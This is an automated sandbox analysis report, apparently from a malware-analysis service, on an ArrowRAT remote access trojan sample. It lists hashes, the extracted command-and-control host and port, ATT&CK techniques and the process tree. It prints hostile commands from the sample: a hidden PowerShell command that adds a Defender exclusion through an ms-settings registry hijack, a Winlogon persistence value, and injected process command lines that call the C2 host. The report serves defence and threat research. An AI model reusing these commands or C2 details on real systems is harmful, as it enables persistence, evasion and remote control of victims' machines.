arrowrat | 876f5ce0e85c7bd4fd29f3b29333e3b6d130306a53ba4a9dff02151cfc8bda63

Analysis

max time kernel
128s
max time network
128s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
20-06-2024 01:21

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General

Target

332bc09f4e96b4c92fba644fa6b49585.exe
Size

158KB
MD5

332bc09f4e96b4c92fba644fa6b49585
SHA1

56fe70b2cfa0507fd1c6cb67b7456bba2e93bc39
SHA256

876f5ce0e85c7bd4fd29f3b29333e3b6d130306a53ba4a9dff02151cfc8bda63
SHA512

49c0a97e8f2b4a11f0261722c1c8495f9d8d438ad63a6f0f4bef0661b4ff2f05a0672caf6264d7d03fe91752def7d346b7d0ad752a0f9f8296859a543c7d10fa
SSDEEP

3072:MbzgH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPUJO8Y:Mbzge0ODhTEPgnjuIJzo+PPcfPUk8

Score

10^/10

arrowrat client persistence rat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

runderscore00-37568.portmap.host:37568

Mutex

qxzqapnkK

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

332bc09f4e96b4c92fba644fa6b49585.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\SOGYywQjD\\ZamZUaDqR.exe"	332bc09f4e96b4c92fba644fa6b49585.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

Processes:

explorer.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 11 IoCs

Processes:

explorer.exe332bc09f4e96b4c92fba644fa6b49585.exe

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings	332bc09f4e96b4c92fba644fa6b49585.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings\shell\open\command\ = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\\Users\\Admin\\AppData\\Local\\Temp\\SOGYywQjD\\ZamZUaDqR.exe'"	332bc09f4e96b4c92fba644fa6b49585.exe
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings\shell\open\command	332bc09f4e96b4c92fba644fa6b49585.exe
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings\shell	332bc09f4e96b4c92fba644fa6b49585.exe
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings\shell\open	332bc09f4e96b4c92fba644fa6b49585.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\ms-settings\shell\open\command\DelegateExecute	332bc09f4e96b4c92fba644fa6b49585.exe
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

332bc09f4e96b4c92fba644fa6b49585.exe

pid	Process
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe
1168	332bc09f4e96b4c92fba644fa6b49585.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

332bc09f4e96b4c92fba644fa6b49585.exeexplorer.exe

description	pid	Process
Token: SeDebugPrivilege	1168	332bc09f4e96b4c92fba644fa6b49585.exe
Token: SeShutdownPrivilege	1108	explorer.exe
Token: SeShutdownPrivilege	1108	explorer.exe
Token: SeShutdownPrivilege	1108	explorer.exe
Token: SeShutdownPrivilege	1108	explorer.exe
Token: SeShutdownPrivilege	1108	explorer.exe
Token: SeShutdownPrivilege	1108	explorer.exe
Token: SeShutdownPrivilege	1108	explorer.exe
Token: SeShutdownPrivilege	1108	explorer.exe
Token: SeShutdownPrivilege	1108	explorer.exe
Token: SeShutdownPrivilege	1108	explorer.exe
Token: SeShutdownPrivilege	1108	explorer.exe

Suspicious use of FindShellTrayWindow 27 IoCs

Processes:

explorer.exe

pid	Process
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe

Suspicious use of SendNotifyMessage 17 IoCs

Processes:

explorer.exe

pid	Process
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe
1108	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

332bc09f4e96b4c92fba644fa6b49585.exe

pid	Process
1168	332bc09f4e96b4c92fba644fa6b49585.exe

Suspicious use of WriteProcessMemory 49 IoCs

Processes:

332bc09f4e96b4c92fba644fa6b49585.exeexplorer.exe

description	pid	Process	procid_target
PID 1168 wrote to memory of 1108	1168	332bc09f4e96b4c92fba644fa6b49585.exe	28
PID 1168 wrote to memory of 1108	1168	332bc09f4e96b4c92fba644fa6b49585.exe	28
PID 1168 wrote to memory of 1108	1168	332bc09f4e96b4c92fba644fa6b49585.exe	28
PID 1108 wrote to memory of 2640	1108	explorer.exe	29
PID 1108 wrote to memory of 2640	1108	explorer.exe	29
PID 1108 wrote to memory of 2640	1108	explorer.exe	29
PID 1168 wrote to memory of 2724	1168	332bc09f4e96b4c92fba644fa6b49585.exe	30
PID 1168 wrote to memory of 2724	1168	332bc09f4e96b4c92fba644fa6b49585.exe	30
PID 1168 wrote to memory of 2724	1168	332bc09f4e96b4c92fba644fa6b49585.exe	30
PID 1168 wrote to memory of 2724	1168	332bc09f4e96b4c92fba644fa6b49585.exe	30
PID 1168 wrote to memory of 2900	1168	332bc09f4e96b4c92fba644fa6b49585.exe	31
PID 1168 wrote to memory of 2900	1168	332bc09f4e96b4c92fba644fa6b49585.exe	31
PID 1168 wrote to memory of 2900	1168	332bc09f4e96b4c92fba644fa6b49585.exe	31
PID 1168 wrote to memory of 2900	1168	332bc09f4e96b4c92fba644fa6b49585.exe	31
PID 1168 wrote to memory of 2896	1168	332bc09f4e96b4c92fba644fa6b49585.exe	32
PID 1168 wrote to memory of 2896	1168	332bc09f4e96b4c92fba644fa6b49585.exe	32
PID 1168 wrote to memory of 2896	1168	332bc09f4e96b4c92fba644fa6b49585.exe	32
PID 1168 wrote to memory of 2896	1168	332bc09f4e96b4c92fba644fa6b49585.exe	32
PID 1168 wrote to memory of 2768	1168	332bc09f4e96b4c92fba644fa6b49585.exe	33
PID 1168 wrote to memory of 2768	1168	332bc09f4e96b4c92fba644fa6b49585.exe	33
PID 1168 wrote to memory of 2768	1168	332bc09f4e96b4c92fba644fa6b49585.exe	33
PID 1168 wrote to memory of 2768	1168	332bc09f4e96b4c92fba644fa6b49585.exe	33
PID 1168 wrote to memory of 2772	1168	332bc09f4e96b4c92fba644fa6b49585.exe	34
PID 1168 wrote to memory of 2772	1168	332bc09f4e96b4c92fba644fa6b49585.exe	34
PID 1168 wrote to memory of 2772	1168	332bc09f4e96b4c92fba644fa6b49585.exe	34
PID 1168 wrote to memory of 2772	1168	332bc09f4e96b4c92fba644fa6b49585.exe	34
PID 1168 wrote to memory of 2716	1168	332bc09f4e96b4c92fba644fa6b49585.exe	35
PID 1168 wrote to memory of 2716	1168	332bc09f4e96b4c92fba644fa6b49585.exe	35
PID 1168 wrote to memory of 2716	1168	332bc09f4e96b4c92fba644fa6b49585.exe	35
PID 1168 wrote to memory of 2716	1168	332bc09f4e96b4c92fba644fa6b49585.exe	35
PID 1168 wrote to memory of 2336	1168	332bc09f4e96b4c92fba644fa6b49585.exe	36
PID 1168 wrote to memory of 2336	1168	332bc09f4e96b4c92fba644fa6b49585.exe	36
PID 1168 wrote to memory of 2336	1168	332bc09f4e96b4c92fba644fa6b49585.exe	36
PID 1168 wrote to memory of 2336	1168	332bc09f4e96b4c92fba644fa6b49585.exe	36
PID 1168 wrote to memory of 2892	1168	332bc09f4e96b4c92fba644fa6b49585.exe	37
PID 1168 wrote to memory of 2892	1168	332bc09f4e96b4c92fba644fa6b49585.exe	37
PID 1168 wrote to memory of 2892	1168	332bc09f4e96b4c92fba644fa6b49585.exe	37
PID 1168 wrote to memory of 2892	1168	332bc09f4e96b4c92fba644fa6b49585.exe	37
PID 1168 wrote to memory of 2612	1168	332bc09f4e96b4c92fba644fa6b49585.exe	38
PID 1168 wrote to memory of 2612	1168	332bc09f4e96b4c92fba644fa6b49585.exe	38
PID 1168 wrote to memory of 2612	1168	332bc09f4e96b4c92fba644fa6b49585.exe	38
PID 1168 wrote to memory of 2612	1168	332bc09f4e96b4c92fba644fa6b49585.exe	38
PID 1168 wrote to memory of 2964	1168	332bc09f4e96b4c92fba644fa6b49585.exe	39
PID 1168 wrote to memory of 2964	1168	332bc09f4e96b4c92fba644fa6b49585.exe	39
PID 1168 wrote to memory of 2964	1168	332bc09f4e96b4c92fba644fa6b49585.exe	39
PID 1168 wrote to memory of 2964	1168	332bc09f4e96b4c92fba644fa6b49585.exe	39
PID 1168 wrote to memory of 2540	1168	332bc09f4e96b4c92fba644fa6b49585.exe	40
PID 1168 wrote to memory of 2540	1168	332bc09f4e96b4c92fba644fa6b49585.exe	40
PID 1168 wrote to memory of 2540	1168	332bc09f4e96b4c92fba644fa6b49585.exe	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\332bc09f4e96b4c92fba644fa6b49585.exe
"C:\Users\Admin\AppData\Local\Temp\332bc09f4e96b4c92fba644fa6b49585.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1168
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\system32\ctfmon.exe
    ctfmon.exe
    3⤵
    PID:2640
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client runderscore00-37568.portmap.host 37568 qxzqapnkK
  2⤵
  PID:2724
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client runderscore00-37568.portmap.host 37568 qxzqapnkK
  2⤵
  PID:2900
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client runderscore00-37568.portmap.host 37568 qxzqapnkK
  2⤵
  PID:2896
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client runderscore00-37568.portmap.host 37568 qxzqapnkK
  2⤵
  PID:2768
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client runderscore00-37568.portmap.host 37568 qxzqapnkK
  2⤵
  PID:2772
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client runderscore00-37568.portmap.host 37568 qxzqapnkK
  2⤵
  PID:2716
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client runderscore00-37568.portmap.host 37568 qxzqapnkK
  2⤵
  PID:2336
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client runderscore00-37568.portmap.host 37568 qxzqapnkK
  2⤵
  PID:2892
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client runderscore00-37568.portmap.host 37568 qxzqapnkK
  2⤵
  PID:2612
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client runderscore00-37568.portmap.host 37568 qxzqapnkK
  2⤵
  PID:2964
- C:\Windows\System32\ComputerDefaults.exe
  "C:\Windows\System32\ComputerDefaults.exe"
  2⤵
  PID:2540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1108-8-0x00000000026E0000-0x00000000026F0000-memory.dmp

Filesize
64KB

Download
memory/1168-0-0x000007FEF5E23000-0x000007FEF5E24000-memory.dmp

Filesize
4KB

Download
memory/1168-1-0x0000000000DC0000-0x0000000000DEE000-memory.dmp

Filesize
184KB

Download
memory/1168-3-0x000007FEF5E20000-0x000007FEF680C000-memory.dmp

Filesize
9.9MB

Download
memory/1168-4-0x000007FEF5E23000-0x000007FEF5E24000-memory.dmp

Filesize
4KB

Download